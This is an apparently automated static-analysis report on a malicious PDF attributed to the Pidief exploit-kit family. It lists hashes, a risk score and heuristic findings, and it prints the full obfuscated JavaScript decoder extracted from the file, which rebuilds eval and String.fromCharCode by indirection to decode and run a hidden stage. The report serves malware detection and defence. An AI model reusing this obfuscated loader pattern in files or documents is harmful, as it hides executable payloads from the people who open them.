Malicious PDF — malware analysis report

Static analysis result for SHA-256 f75d8a7a9a87b638…

MALICIOUS

PDF

44.5 KB Authoring application: substr First seen: 2013-08-22
MD5: 4f7d0a98a6ebe01b777cd6f6c91b0792 SHA-1: 1ed49a28895c2f51c10ee120d85ebc3f9521469b SHA-256: f75d8a7a9a87b6382c63f1546c17a5994ee79eee1bd41113fd41335590e850a0
86 Risk Score

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 3

  • Obfuscated Pidief-style JavaScript loader (stage not decoded) high CVE related PDF_PIDIEF_OBFUSCATED_VERSION_GATED_LOADER
    PDF JavaScript carries a large opaque encoded stage (a letter-delimited numeric character-code array) that is built to be decoded and eval'd, but no exact Adobe Reader CVE could be attributed because the encoding scheme resisted full static decoding. This is the structural fingerprint of the Pidief / multi-CVE exploit-kit loader family — a version-gated obfuscated JavaScript stage with no benign use. Flagged suspicious on its own; an ML/AV signal or a recovered heap-spray pushes it to malicious.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0001_000.js pdf-javascript-stream PDF /JS object 1 at offset 0xAF5C 478 bytes
SHA-256: 2fcdf0858c2a6751aed3b7564cb5261df509a87b5e626182fb59bb2153e52732
Preview script
First 1,000 lines of the extracted script
s2='';
v=producer;
t='le';
b='v';
c='';
a=c.concat('e','|','a',"n","b","w",b,"o");
s=author+'v'+a[2]+t[0];
e=v[v]()[s];
zjuo=e(v[4]+'i'.concat(v[4],t));
q=zjuo[v](a.length-7,a.length+1);
d='String';
d+='.fr';
d+='o'+q;
vzpq=e(e('d'));
sub=v[0];
sub+='ubject';
q=zjuo[e('v')](t.length+12)[v[0]+e(sub)+'t']('c');
k=q[t[0].concat('eng'+'t'+'h')];
i=t.length-2;
for(;i!==k;){
	uhn = 1*(q[i]);
	i++;
	uhn -= (-1)*(q[i]);
	s2 += vzpq(uhn);
	i++;
}
e(s2);

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